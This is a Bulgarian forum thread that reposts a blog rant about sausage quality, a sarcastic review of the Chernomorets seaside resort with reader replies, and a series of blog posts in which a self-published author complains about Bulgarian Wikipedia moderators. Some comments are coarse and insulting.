ВЕДНАГА ОТВОРИХ И САЛАМА ИМ!!! СЪЩАТА РАБОТА! Oтново гадория ! Oтново стандарт друг път… И тук се замислих… има стандарт да се прави от месо… Проблема е какво е оопределението на стандарта за месо ? Защото за месо се смята всичко в животното: кръв, сланина, субпродукти ? Добре – няма соя, обаче защо вместо соята трябва да има само смляни кокали ,рога и копита? Не трябва ли да се даде дефиниция на месо да си е само мускулна тъкан? То бива бива наглост, но това е просто извращение, защо цената е двойна а качеството не? изобщо започвам да си мисля че цялата тази патардия около държавния станарт е пак, за да можеда ни накарат да си даваме парите. Един вид реклама платена от по-големите производители, за да ни прилъжат.
Разбира се в българия нищо не се прави за народа:) а всичко е от народа! Тотално съм разочарован от колбасите… опитайте ги и вие и дайте мнението си ? Пак лисме излъгани ? Разбира се ние сме свикнали… Като проститутки на оживена тираджийска линия сме… свикнали сме да ни ш.бат и даже не ни прави впечатление… Дори и размера вече няма значение…все едно сме хванали мазоли на з.дника и не може да ни уплаши и най-големия… тир."
Коментарите, които имаше на това:
"dejaviewer on 07.10.2010 at 00:18
Че тя Камчията брат от едно време е като луканка ко я сравняваме със сегашните саламоподобни. Оня ден давам на котарака ми някво саламено Сачи и лешпера му с лешпер така ма погледна…аха да каже-” Ти май..м?”
Александров on 23.11.2010 at 15:04
Жена ми гледала рекламата по ТВ на онзия детския САЧИ, и решила да вземе за малкия. Хубаво, ама като го отворила и лъхнала някаква гадна миризма (не на развалено, по скоро на нещо, което просто не става за ядене) и се отказала да му го дава. Опитала се да го пробута на питомците ни (имаме си 7 котки), но никой от тях не прояви и бегъл интерес дори.
Към настоящия момент, единствено “Сух Шпек РЕЗЕРВА” на Перелик ядем…опитвали сме доста други шпек салами – уви. А за кайма – у нас, след редица тестове сме се спряли на САМИ-М и Народна.
Anne on 26.01.2011 at 04:10
Честно казано не мога да си обясня как може да ядете трупове.. Направо ми се повръща при тази мисъл! Това, което виждате по магазините, “вкусно” и привлекателно на вид е блъскано с хормони и антибиотици, да не говорим за истинския цвят на месото, преди да го оцветят с разни химикали какъв е.. сиво-жълт!
Anne on 26.01.2011 at 04:13
А да изтезаваш детето си като го “храниш” с тази отрова е престъпление!! Не съм някаква фанатичка.. Просто съм от тези, които се събудиха, макар и късно.. Но по-добре късно, отколкото никога! Помислете над това, все пак нищо не ви пречи да отделите 5 минути и да понаучите непознати до този момент за вас неща за вегетарианството, които са много интересни между другото.. Ей така, от обща култура.. В 21 век сме, по дяволите!
wanio on 02.02.2011 at 23:58
Имайте впредвид,че саламите, луканките и другите колбаси имат в състава си Е250 – натриев нитрит, причинаващ рак на панкреаса и дебелото черво. Сигурно сте забелязали, че ако оставите резен от един салам Стара Планина, цветът не се променя. Именно Е250 е причината.
Сашо on 28.02.2011 at 20:10
За другите неща не знам, но кренвиршите на двете фирми които опитах бяха като хартия :? Салам по Стара Планина на Тандем ставаше даже беше вкусен, но те попринцип си правят хубави и качествени продукти. В крайна сметка какъв беше смисъла от Стара Планина за колбаси…
pti on 02.01.2012 at 23:42
Хубаво, че имаш добро куче. Моето не яде и прошуто и шунка и луканка.
Anne е права – вегетарианство. Но и там я има цялата таблица на Менделеев :-)"
-
Представям ви едно от отминалите години за Черноморец. Аз съм бил там на почивка и мисля, че е правдиво написано, защото съм съгласен с почти всичко от написаното.
"Черноморец – курортно селце за средностатистически семейства.
Там някъде на двайсетина километра от Бургас се е сгушило малкото черноморско курортче от народен тип. Засенчено от близоста на Созопол, Черноморец все пак е намерил своето място в туристическия бизнес. Селцето си има своя чар, малко и уютно… романтика и идилия. Близо е до Бургас и се стига лесно. Цените са ниски и по джоба на всеки спестил някой лев от мижавата заплата и заделил за 5 дена морски геройства. Изобилие от кръчми една до друга, скари, пилета на грил, дюнери, катми, закуски. Разбира се ако очаквате невероятни кулинарни изживявания ще си останете само с надеждите. Кухнята е простовата и съобразена с желанието на масовката. Ниски цени = непрофесионални готвачи, не се надявайте да останете очаровани от това което се предлага по ресторантите. Все пак става за гладни хора.
Нека паркираме колата и се разходим из селцето да видим какво ще открием.
Е в силния летен сезон паркирането се оказва невероятна трудност в тесните улички… но след 10-15 минутна обиколка намираме място на около 500 метра от центъра в позабутан сокак. Паркирваме на тротоара, излизам от колата и правя няколко крачки напред назад изпъчил гордо широки рамене с поглед казващ: Ако някой местен абориген посмее да ми спука гумата затова че съм му паркирал пред оградата – ЩЕ СИ ПАТИ!
Запътваме се към МЕГДАНА на селото / или Градче / виждаме няколко железарийки и разбира се дюкянчета пълни с мазила, очила, шапки и надуваеми дюшеци с приятна надценка, която те кара да се чувстваш идиот ако не си си купил всичко преди да тръгнеш към морето. Точно където започва улицата която води към плажа виждаме че дори има и безплатен паркинг, жалкото е че е само за 7-8 коли и разбира се е абсурд да си помислите че ще успеете да се вредите там особенно през деня. Виждаме и малко дюкянче с поточна линия за малки пици по 2 лева изглеждащи страхотно, носталгичните чувства се допълват и от старата машина за сокче с цени от 30 стотинки за малка чашка. Разбира се веднага си купуваме по една пареща пица и чаша сокче от машината която е може би мой набор. Даваме петолевка с благ поглед и с големи надежди захапваме голяма хапка… разбира се идиличните чуства веднага са издухани като плажен чадър от созополско торнадо.
Казваме си майната му и хвърляме пиците с надеждата някой помияр да не е толкова претенциозен като нас и да им се израдва. Подминаваме първите катми защото мургавата продавачка не ни вдъхва доверие. Може би заради 2-те циганета покрай нея и циганина който и крещеше и посягаше да я хване за гушата в лек семеен скандал, но не успяваме да устоим на вторите където леко плешив бледолик чичко ни гледа с очакване. След опита ни с пиците решаваме да действаме по-предпазливои си поръчваме само една.
Още докато я приготвя съжалихме. Стана просто една голяма палачинка. Как да е не беше ужасна. :) Неможахме да пропуснем и дюнерите. Едно цигане ни направи дюнер за 3.99 и разбира се ни разби илюзиите като си облиза палеца за да раздели наилоновата торбичка за да ни сложи “нивироятния” дюнер в нея. Пиленце на грил също не пропуснахме да си вземем за 8 лева, като в цената влиза и неускубаната перушина и това ни отказа за близкия един месец да си купуваме бързи храни.
Разбира се вечерта обиколихме заведенията. Седнахме в едно много препоръчвано заведение “Кондрос” четохме за него в нета и нямаше как да пропуснем. Добро впечатление правят костюмите на персонала им. Доста хора се спираха да се снимат с тях. Цените бяха доста добри.
Поръчахме си:
пилешка супа 0,95 лв
Свинска пържола с гъбен сос за 6 лв
Сафрид пържен за 3,50
Салати безалкохолни и подобни
Пържолата… ми биваше не че беше хубава, но очаквах да е по зле.
Сафрида ме очарова, както и в следващото заведение това беше най- хубавото ястие. Салатата макар и добра като външен вид и размер можеше да е по свежа. Супата имаше повече спагети в нея отколкото пиле. Като цяло не беше ужасно, но не бихме седнали отново там.
За лош късмет сервитьора ни беше нещо болнав и сополив и си понакисна палеца в супата докато ни я носеше :) .
В едно заведение по-надолу красиво на външен вид “Панорама” нещата не бяха много по-различни.
Като цяло можем да обощим че за по непретенциозни клиенти цените и качеството на храната са ЗАДОВОЛИТЕЛНИ! Особенно за типа хора посещаващи този район. Предимно семейства с деца със ниски доходи. Развесели ни случка на съседната маса. Седнали две семейства с деца хапнаха сръбнаха и на тръгване си поискаха да им сложатв “пликчи” половината им останала порция цаца. Персонала по заведенията не беше много приятен. Не бяха и нелюбезни, но не бяха и на висота. Не им се сърдя. В по голямата си част персонала беше от млади хора дошли да поработят на морето лятото, но мисля че ако искаш да изкарваш пари и бакшиши за сезона, Черноморец не е най-правилния избор.
През седмицата не е претъпкано с хора. Лудницата става петък, събота и неделя. Весело е да слушаш всякакви диалекти, мекане и вакане и уакане. Селската реч се лееше брутално и обилно от всякъде. приехме това за екзотичен аксесоар към гостите на Курортното селище :) .
За плажа на Черноморец няма какво да се каже. Ако сте турбо социален тип и обичате препълнените плажове, значи сте на точното място. Плажът е мини-мини :) трудно ще си сложите кърпа, без единия и край да се застъпва с тази на комшиите. Разбира се винаги можете да отскочите до съседните по-големи плажове на север и юг.
За последно няма как да не споменем магазините. Разбира се цените са високи за хранителните стоки. Интересно впечатление направи в един нов почти маркет, машинките за контакт на Райд против комари. Навсякъде можете да ги намерите като в опаковката има една машинка + една подарък. Но в този магазин бяха махнали промоционалните лепенки на български за 1+1 и си бяха извадили втората машинка :) . Не че не пишеше на английски, но е важен жеста:) – Нека да върви бизнеса. Да не са отворили магазина да ни правят подаръци а…
Та така, ако искате селска идилия, претъпкан плаж и евтина, но кофти кухня- ЗАПОВЯДАЙТЕ . Сигурен съм че бабите с табели квартири които дремят покрай пътя и автогарата им ще висе израдват на спестените левчета за евтина почивка."
Ето ги и 4 Responses.
"Mean
02.06.2011 at 16:03
Много тенденциозно е написана статията. Това може да се кажа за абсолютно всеки един от бг. курортите. Да не говорим за места като Приморско, Китен, или пък прехваленият Луксозенец.
OBERON
12.07.2011 at 21:33
Аааа мирси, аз си нося…
Петър
06.05.2012 at 17:24
Сериозни проблеми имаш приятел.Черногледа ти е за завиждане!Ако искаш не-простовата кухня или не-просто катми,що не се спря например в Созопол,а влезе в Черноморец?финанситети куцат май а,и не отговарят на завишените ти изисквания?Тук в Черноморец до гуша ни е дошло от комплексирани,претенциозни и бедни гражданчета,които не знаят как да си изкарат добре и постоянно търсят под вола теле.Зашо например не се отби в Санта Марина,преди Созопол?Там щеше да си задоволиш всяка една претенция.Щеше да си намериш лесно място за паркиране,без опасност някой абориген да ти спука гумите!Заплатката не стига нали?Затова търсиш нещо ефтинко,квартира за 10 кинта със всички екстри.Просто не знам наистина как някой абориген не ти е запалил подметките!
OBERON
26.06.2012 at 11:21
В голяма грешка си, но все пак, не искам да ти съсипвам моралните ценности и личното достойнство с пояснения какво имам и преди колко петилетки за последно съм ходил на нощувка за десетина лева:)
Все пак ти си бизнесмен човек, ако нямаш самоувереност в собствените си разсъждения, няма да ти върви и бизнеса с акумулаторите:), затова и ще ти спестя подробностите кой и колко има…
Бедните граждани са си ваш проблем, не мога аз да ви реша финансовите проблеми на цялото село, НО С ТОВА КОЕТО ПРЕДЛАГАТЕ В СЕЛОТО, няма как да се надявате, да се напълни с лъскави бизнесмени и милионерчета нали… Помисли трезво и пак прецени не съм ли прав, без да мислиш като селянин от черноморец, погледни на нещата глобално, не бъди поредния тесногръд еснаф с диалект.
Не може да продаваш банички и мекици и да си недоволен че идват бедни и комплексирани гражданчета нали…
Защо не пробваш тази година да слагате в мекиците и кифлите чер хайвер и трюфели и да чакаш вип клиенти :) Опитай, и после сподели…"
Аз да си кажа и моето мнение. Черноморец ми е оставил само добри спомени. Това е. :)
-
Аз ще се включа с едно семпло, свое от 2006-та:
"Пуснато на: Чет Окт 26, 2006 9:38 am Заглавие: Тъжно...
Доста тъжно...Изгледайте го, за да видите:
http://www.skat.bg/products.php?type=10&genre=466&page=0
_________________
"Човекът е обществено животно."
Аристотел"
-
В първа част (поместена по-напред/по-горе в тази тема) вече обясних в какъв контекст е било всичко това. Сега ще продължавам с друго намерено от мен по архивите относно ЕС и България, но когато имам повече време, за да го извадя точно и да го постна насам.
-
До някои пристрастни уикипедианци
От "САЙТЪТ НА ГЕСЕР КУРУЛТАЕВ
Наука, философия, друго…", 2010 година.
Ето материалите от онова време
Още един простест от български потребител срещу българската уикипедия
Thursday, October 14th, 2010
“Незнам стабилни ли сте, градивни ли сте, нападат ли ви или сами си създавате конфликти (мое мнение), за да си чешете езиците и да избивате липсата на нещо в живота ви. Уж вие сте хората, които са за пример (колкото и патетично да звучи) на новодошлите…СРАМ!!!!!! Срам ме е да съм редом до вас! Толкова ми е обидно и болно, че съмо първичната идея за Уикипедия ме държи тук, но и тя не е панацея срещу вредители като вас! Опорочихте всичко, потъпкахте една прекрасна идея, превърнахте я в поредната утопия! Всички се хвалите с владеене на чужди езици, всички се представяте за умни и ерудирани хора…НИМА! Ако знаехте и можехте щяхте да прочетете и разберете въпросните Уикипринципи, на които опирате болните си дрязги. За сега спирам с бълването на огън и жупел, но ще ви кажа какво АЗ (един сравнително нов и незнаещ потребител) разбрах от писанията ви до тук: Българската Уикипедия е място за изява на комплексирани, парадиращи със знанията (?!?!?) си, дебилни в котнтактите си с другите, мразещи различните от тях хора, с неприкрито влечение към алкохола и чалгата! Мили нови потребители, ако по някакви неведоми пътища сте попаднали в БГ Уикипедия и поради заблуда сте решили, че това е място за достъп до неограничени знания с възможност да допренесете за тяхното развитие, ПРОСТЕТЕ МИ, но сте сгрешили, МОЛЯ СЕ (въпреки, че тук и вярата в каквото и да е се потъпква и осмива) да владеете какъвто и да е чужд език, за да посетите чуждоезична Уикипедия!
Извън “лиричните” ми отклонения, моля ви изтрийте тези страници, вземете си Уикиотпуск и дано като се върнете нещата не са толкова изявено български.–FREI 07:07, 21 юни 2005 (UTC)”
http://bg.wikipedia.org/wiki/%D0%A3%D0%B8%D0%BA%D0%B8%D0%BF%D0%B5%D0%B4%D0%B8%D1%8F:%D0%A1%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D0%B8_%D0%B7%D0%B0_%D0%B8%D0%B7%D1%82%D1%80%D0%B8%D0%B2%D0%B0%D0%BD%D0%B5/2005#Fratelli_d.27Italia
Tags: български, потребител, протест, Уикипедия
Posted in До някои пристрастни уикипедианци | 2 Comments »
Извратени уикипедиански възприятия…
Monday, June 21st, 2010
Уикипедианецът Мико, чел ужким обясненията ми и противопоставянето на клеветите и другите проблеми в бг-уикипедията, ги окачествява като “чаршафи с лични нападки”. На всичко отгоре е преценил, че езиковите поправки на корейската транскрипция и татарските тематики, които добавих са “никакви конструктивни приноси”…Извратена история.
Бях регнал и една, т.нар от тях марионетка - ГИК, чрез която написах нещо, което логически произлиза от тяхното отношение към Гесер Курултаев: “Сред останалите татари най-неизвестен и най-незначим е философът-поет Гесер Курултаев. Това откритие принадлежи на част от учените-уикипедианци в българската версия на Уикипедия, които съвсем “безпристрастно”, “неклеветнически” и “обективно” се отнасят към Гесер Курултаев.”, но и с него не са съгласни и са го изтрили. А ревностният уикипедианец Петко е предложил и милата ми марионетка за блокаж. Въх…Няма и да видят повече конструктивни приноси от моя страна.
И това, дето всички реакции оставали там за вечни времена - не го вярвайте! Каквото не им изнася се трие или архивира. Същата работа като из много форуми, част от които са обект на вниманието ми в сайта на Гесер Курултаев
Tags: Гесер Курултаев, Мико, Петко, уикипедианци, Уикипедия, форуми
Posted in До някои пристрастни уикипедианци | No Comments »
Последните (към днешна дата) уикипедиански шизо-изпълнения!
Friday, June 18th, 2010
Какво се случи днес? Ами отново бан, от някакъв Shade of Gray с посочена причина “Обиди към потребителите” (По-долу давам цитати, а всеки да прецени дали има обиди. Иначе, както видяхте по-рано, мен като ме обиждат нямат проблеми, безочливите хорица там.)
Та ето какво:
1. Цитатът който им пуснах от моя си сайт, където показва доста неправомерности, е изтрит под предлог, че имало нарушаване на авторското право. Т.е. аз си само-нарушавам авторските права, някаква такава шизофреничност. Всъщност познавам доста шизофреници, които никога не биха си помислили/”видели”/”чули” нещо толкова невероятно, така че това едно такова определение - “шизофреничност” - е слабо.
2. Скроч (клеветникът) пък още не видял, че Гесер Курултаев е публична личност (публикуващ снимките си винаги и представящ се на уебкам или на яве винаги), решил да предлага, най-после, да си покажем физиономиите…Писах му:
По въпроса ще кажа - редно е при положение, че аз съм се показал (можеш да ме видиш на сайта ми, заедно с цялото ми семейство), да се покажете и вие, особено клеветниците като Скроч и Rest, които редовно се опитват не само да клеветят, но и да проявяват агресивността си. Цитатът, който си дал по-горе е в контекста на това, че ти, клеветнико, рече че съм бил ужким отправял расови обиди, а това не е възможно най-малкото поради факта, че не съм ви виждал физиономиите и не ви знам от коя от всичките раси сте - може да си с ромски произход, може да си с виетнамски, може и да си с руски…това влияе на расата/расовия ти тип/подтип, следователно в момента не ми е ясно от коя раса си (доколкото българското население не е на 100% еднорасово), затова е абсурдно да се мисли, че съм си послужил с расизъм, още по-малкото, че съм интернационалист и не си служа с расизъм. Ето защо отново се противопоставям яростно и решително на дебилната ти клевета! Покажи си физиономията, ако, въпреки престъпните ти маниери на комуникация (клевети, двойнствен стандарт и от сорта), имаш поне малко останала чест. Това ще спомогне поне мъничко за авторитета ти.
3. Накрая и за Петко, който доста неща не разбира, цитат от моя отговор:
Драги Петко, правилата ги прилагам и доказвам, че отговарям на тях не като някакви ваши религиозни измислени персонажи (дяволи) и вашите свещени книги (евангелие), според научния си материалистично-диалектически потенциал. Фактът, че не можете да отговорите съдържателно, а скачате от правило на правило и почнахте да си служите с религиозни традукции говори достатъчно. Не виждам и къде в правилата и ценностите на Уикипедия пише, че може да се прилагат клевети, обиди и пр. (За справка виж поведението на Скроч и Rest). Разбира се, че не знаеш какъв бивш журналист, магистър и пр. съм, защото ми се трият целенасочено статиите. Нали това е целта? Информационното затъмнение, че да не знаеш. За щастие, не могат да цензурират целия Интернет и в сайта ми (на който е забранено да му се пише името тука - няколко поредни пъти го трият, но ти можеш лесно да го намериш, защото в търсачките името на Гесер Курултаев, което дава към днешна дата 20400 резултата[[9]]), ще ти го покаже на първа страница. Там можеш да прочетеш повече за него и да решиш дали е значим или не. Според мен, Гесер Курултаев е енциклопедична личност, защото рядко може да се срещнат хора като него, които разбират от толкова много неща и имат толкова енциклопедична биография на млади години. Това е обективно. Така че не конкретно (метафизически-откъснато) Гесеровото значимо е САМО в журналистиката или само в поезията, а в КОМБИНАЦИЯТА (количественото натрупване - качествено измемнение) от всички тези неща (полиглот, поет, философ, преподавател, любител-алтаист и пр.)
Да, знам че “всичко” написано остава тук (теоретично де, защото на практика, много неща се затриха, да речем една от най-отявлените обиди на Rest), затова и най-отговорно се изказвам, в напълно трезво, адекватно и нормално състояние. А кой се излага то е ясно - тези, които толерират активно или пасивно нарушенията. Случайно, да ти прави впечатление, че не само аз, но и много други хора са недоволни от т.нар. модериране тук? Моят глас не е просто глас в пустиня. Доста народ ви критикува, ама вие си знаете вашето и нямате, както виждам, самокритичност. Колкото до моето собствено добро - когато добруването ми почне да зависи от Уикипедия и то от българския вариант на Уикипедия - ела ми се обади. Доста надценявате този български вариант, май.–Master of philosophy 11:05, 18 юни 2010 (UTC)
http://bg.wikipedia.org/wiki/%D0%91%D0%B5%D1%81%D0%B5%D0%B4%D0%B0:%D0%A2%D0%B0%D1%82%D0%B0%D1%80%D0%B8
Такива ми ти работи с бг-уикипедианците. Не е добре…
Posted in До някои пристрастни уикипедианци | No Comments »
Малоумници доказани!
Thursday, June 10th, 2010
След като си поиграх да им намирам доказателства за все новите им и нови изисквания (щото то нали поначало са си решили да не допускат никаква информация за Гесер Курултаев, а и за толкова много други заслужаващи хора - пресни примерни има с хора от литературните среди, единият от които истински новатор в поезията!), решиха да ме баннат. Ето тук как съм се обосновал добре:
http://bg.wikipedia.org/wiki/%D0%91%D0%B5%D1%81%D0%B5%D0%B4%D0%B0:%D0%A2%D0%B0%D1%82%D0%B0%D1%80%D0%B8
А и ето тук същинското малоумие. Аз повдигам въпроса, че е недопустимо да се толерират обидите на Rest (който отново си беше позволил вече открита, страхлива обида, доколкото го е страх да се представи кой е точно) и получавам следните реакции от олигофренско естество:
1. Най-психопатно се е редставил Скроч :
“Ай сиктир. Писна ми да ти чета излиянията –Скроч б. п. 08:14, 7 юни 2010 (UTC) ”
Без коментар към подобно агресивно, безотговорно, пристрастно, омразно и дебилно реагиране по обективен проблем!
После:
“…Обижда на расова основа и изисква с него всички да се държат като с най-великия. Ем сори ама няма да стане –Скроч б. п. 11:35, 8 юни 2010 (UTC)”
Не само, че е неграмотно (пише “Ем, вместо “Ами”), но и Скрочето клевети по най-олигофренски начин. Никъде не съм обиждал на расова основа. Те не смеят да си покажат физиономиите, че чак и някой им е споменавал расите. Шизофренизми и клевети, това е!
И, накрая, “Потърпевшият излиза виновен” - блокиране за 1 седмица…
Както се вижда - интелектуално безсилие, придружено с клевети, избирателност, двойни стандарти и всичко, за което сме говорили до сега.
Ето и как се проявиха недостойните хорица конкретно тук:
http://bg.wikipedia.org/wiki/%D0%A3%D0%B8%D0%BA%D0%B8%D0%BF%D0%B5%D0%B4%D0%B8%D1%8F:%D0%97%D0%B0%D1%8F%D0%B2%D0%BA%D0%B8_%D0%BA%D1%8A%D0%BC_%D0%B0%D0%B4%D0%BC%D0%B8%D0%BD%D0%B8%D1%81%D1%82%D1%80%D0%B0%D1%82%D0%BE%D1%80%D0%B8%D1%82%D0%B5/2010/22
Posted in До някои пристрастни уикипедианци | No Comments »
Към днешна дата Гесер Курултаев и Рейхан Аблеким са с еднакъв Гугъл-резултат!
Friday, June 4th, 2010
—-
: Последна справка за известността на бг-татарите, споменати в ПОДСТАТИЯ “Татарите в България”:
:ПЪРВА ПОЗИЦИЯ СЕ ПОДЕЛЯ ОТ
:1. Рейхан Аблеким и ”’неправомерно изтрития”’ ГЕСЕР КУРУЛТАЕВ, които са според Гугъл с един и същи резултат 10700 резултата!
Доказателство
:http://www.google.bg/search?hl=zh-CN&newwindow=1&q=%22%D0%A0%D0%B5%D0%B9%D1%85%D0%B0%D0%BD+%D0%90%D0%B1%D0%BB%D0%B5%D0%BA%D0%B8%D0%BC%22&btnG=Google+%E6%90%9C%E7%B4%A2&aq=f&aqi=&aql=&oq=&gs_rfai=
:http://www.google.bg/search?hl=zh-CN&newwindow=1&q=%22%D0%93%D0%B5%D1%81%D0%B5%D1%80+%D0%9A%D1%83%D1%80%D1%83%D0%BB%D1%82%D0%B0%D0%B5%D0%B2%22&aq=f&aqi=&aql=&oq=&gs_rfai=
:НА ВТОРО МЯСТО Е
2. Кеазим Исинов 8870 резултата
:В този смисъл философът и поет Гесер Курултаев отговаря на смисъла на изречението “Сравнително-известни български татари…”
Още едно доказателство, че вандализмът (двоен стандарт, клеветнически мотив) на Rest, както и последвалото поведение на заключване на темата (подкрепата на вандализма в стил “Крадецът вика “Дръжте крадеца!”"), са без никакво оправдание.
Posted in До някои пристрастни уикипедианци | No Comments »
Отворено писмо до основателя на Уикипедия - Джими Уейлз от Гесер Курултаев
Thursday, June 3rd, 2010
http://en.wikipedia.org/wiki/User_talk:Jimbo_Wales
Отворено писмо до основателя на Уикипедия - Джими Уейлз от Гесер Курултаев
Настоящата българска секция на Уикипедия е сравнително една от най-лошите (Голяма част от другите са по-наред и са достатъчно добри). Администрацията и модераторите в българската секция се държат по такъв ненормален начин. Много обикновени потребители са срещу тях, но няма начин как да се променят нещата, затова Ви пиша, с цел да Ви информирам за главните проблеми “там”:
-Те използват КЛЕВЕТИ като “аргументи” срещу някой. Например 2 пъти вече пишат, че Гесер Курултаев е “псевдоучен” и “самопровъзгласен”, но, всъщност, това е човек с магистърска степен по философия (философска антропология).
-Те използват ОБИДИ като “аргументи” срещу някой. Например Гесер Курултаев беше назован “графоман”.
-Те използват ЦЕНЗУРА срещу потребителите, които не харесват (банове, триене и пр.)
-Те използват ИЗБИРАТЕЛНОСТ и ДВОЕН СТАНДАРТ.
ИМА МНОГО ОПЛАКВАНИЯ СРЕЩУ ТЕХНИЯ ПРОИЗВОЛ И ТОТАЛИТАРНОСТ. АКО СЕ НУЖДАЕТЕ ЩЕ НАМЕРЯ, ЛИНКНА И ПРЕВЕДА НА АНГЛИЙСКИ ЗА ВАС.
Тук е само един пример:
http://bg.wikipedia.org/wiki/%D0%9F%D0%BE%D1%82%D1%80%D0%B5%D0%B1%D0%B8%D1%82%D0%B5%D0%BB:Bggoldie
С превод на най-важните изречения в този оригинален-и-обективен протест на бивш български уикипедианец:
“Довиждане „свободни“ редактори на Уикипедия, сбогом пъдари-тирани!…
… липсата и на знание, и на свобода.
Отказвам се да съм част от измамата Уикипедия, най-паче от майсторски окепазения ѝ български раздел.
…саморазправа…
…съд без присъда…
…злоупотреба с власт…”
Поздрави: Гесер Курултаев.
******************************
Posted in До някои пристрастни уикипедианци | No Comments »
An open letter to the founder of Wikipedia - Jimmy Wales from Geser Kurultaev
Thursday, June 3rd, 2010
http://en.wikipedia.org/wiki/User_talk:Jimbo_Wales
An open letter to the founder of Wikipedia - Jimmy Wales from Geser Kurultaev
__________________________________________________________
The present Bulgarian section of Wikipedia is comperatevely one of the worst ones (A lot of the rest are much better and good enough). The administration and the moderators in the Bulgarian section behave in such an abnormal way. Many ordinary users are against them, but there is no way to change it, so I am writing to
You in order to inform you about the main problems “there”:
-They use LIBELS as “arguments” against somebody. For example 2 times already they wrote that Geser Kurultaev is a “pseudo-
scientist” and “self-appointed”, but, in fact, it is a person with Master’s degree in Philosophy (Philosophical
Anthropology).
-They use INSULTS as “arguments” against somebody. For example Geser Kurultaev was called “graphomaniac”.
-They use CENSORSHIP against the users who they don’t like (such as bann, delete, etc.)
-They use SELECTIVITY and DOUBLE STANDARD.
THERE ARE A LOT OF COMPLAINTS AGAINST THERE ARBITRARY AND TOTALITARIANISM. IF YOU NEED I WILL FIND, LINK AND TRANSLATE IN
ENGLISH FOR YOU.
Here is only one example:
http://bg.wikipedia.org/wiki/%D0%9F%D0%BE%D1%82%D1%80%D0%B5%D0%B1%D0%B8%D1%82%D0%B5%D0%BB:Bggoldie
With a translation of the most important sentences of this original-and-objective protest made by a former Bulgarian Wiki-
member :
“See you, “free” editors of Wikipedia, see you pastors-repressors!…
…here is no (real) knowledge, nor freedom.
I refuse to be a part of this fraud, called “Wikipedia”, EXPECIALLY ITS BULGARIAN SECTION…
…mob law…
…court without a conviction…
…abuse of power…”
Best regards: Geser Kurultaev.
****************
Posted in До някои пристрастни уикипедианци | No Comments »
ПРОТЕСТ срещу безочливо-клеветническия произвол!
Thursday, June 3rd, 2010
Една от “причините” да се подкрепи вандалщината (клеветата и избирателното триене) на Restе, че преди време статията за Гесер Курултаев в бг-Уикипедията била изтрита и съответно значиността ми била ниска (макар, че в статия “Татари”, подстатия “Татарите в България” формулировката е за “СРАВНИТЕЛНО-ИЗВЕСТНИ”, а не толкова за значими хора.)
Сега нека разгледаме безочливо-клеветническия произвол по въпросната статия:
Тук : http://bg.wikipedia.org/wiki/%D0%A3%D0%B8%D0%BA%D0%B8%D0%BF%D0%B5%D0%B4%D0%B8%D1%8F:%D0%A1%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D0%B8_%D0%B7%D0%B0_%D0%B8%D0%B7%D1%82%D1%80%D0%B8%D0%B2%D0%B0%D0%BD%D0%B5/2007/%D0%BF%D1%80%D0%B8%D0%B5%D1%82%D0%B8/1
Първо някой си Спас Колев е предложил статията “Гесер Курултаев” за изтриване, защото Гесер Курултаев не бил значим.
И ето как изглеждат “аргументите” на тези недостойни за уважение личности (Особено в лицето на Златко и Емил Петков)”Гесер Курултаев
Ниска значимост. –Спас Колев 17:32, 19 януари 2007 (UTC)
За - умре циганката, казвате . –Спас Колев 17:32, 19 януари 2007 (UTC)
За –Спири / беседка 18:41, 19 януари 2007 (UTC)
За Ниска значимост. –ИнжИнера 18:57, 19 януари 2007 (UTC) Стабилен Stable
За някакъв псевдона̀учен форумджия, самопровъзгласил се за разбирач! — Златко ± (беседа) 17:07, 20 януари 2007 (UTC)
За. Добре де, бързото изтриване все още си го има като шаблон, Спасе.–Мико Ставрев 21:18, 21 януари 2007 (UTC)
За –Boll Weevil 13:15, 22 януари 2007 (UTC)
Въздържам се, поради неговата многостранна квалификация и известност… –Илиян 14:23, 22 януари 2007 (UTC)
За Този е известен предимно като интернет-форумен графоман с по няколко блокирани акаунта в много форуми. –Емил Петков 14:34, 24 януари 2007 (UTC)”
Златко ме е наклеветил, че съм псевдонаучен, подобно на скорошната клевета на Rest, игнорирайки факта, че съм с магистърска степен от Софийския университет, а Емил Петков, който оборвах по различни въпроси в няколко форума (и вероятно пряка или косвена причина за бановете ми) ми е отправил обида и клевета, че съм “графоман”
И ВСИЧКО ТОВА ТРЯБВА ДА Е АРГУМЕНТ ДА СЕ ПОДКРЕПЯ ПОРЕДНАТА КЛЕВЕТА И ВАНДАЛИЗЪМ СРЕЩУ МЕН?
——-
Eто и изтритата статия:
{{Биография инфо
| име=Гесер Курултаев
| описание=философ-антрополог
| наставка=
| роден-дата=[[26 октомври]] [[1975]]
| роден-място=[[България]]
}}
”’Гесер Курултаев (Георги Иванов Русев)”’ e [[философ-антрополог]],[[актьор]], [[журналист]] и [[поет]] с интереси в областта на [[лингвистиката]], [[психопатологията]], [[историята]], [[изтокознанието]], [[кинематографията]] и др.
== Биография в дати ==
* 1991 г. — първа публикация за Азиатските открития в Плевенския в. “Училище”
* 1993/1994 г. — приет редовно обучение в СУ “Св. Климент Охридски”
* 1994/1997 г. — работи в “Телефон на доверието” към БЧК, пише в Плевенските издания “Посоки” и “Нова Полемика”.
* 1998 г. — издава собствен вестник “Лунно цвете”.
* 1999 г. — води собствено предаване по ефирна ТВ “Мизия” под названието “Искра в полумрака”. (В периода 1996 - 1998 заснема 4 игрални късометражни филма, в които е актьор, а също сценаристи режисьор)
* 2000 г. — защитава дипломна работа на тема “Върху отделните аспекти на любовта” с научен ръководител проф. Валери Динев, с което получава своята магистърска степен по философия.
* 2004 г. — започва да живее и работи в Китай.
== Научни открития ==
-Етимология на българското самоназвание.
-Етимология на “Сегиз-тугиз”.
****************
Posted in До някои пристрастни уикипедианци | No Comments »
Още един, нов пример, за Двоен стандарт и несправедливост:
Thursday, June 3rd, 2010
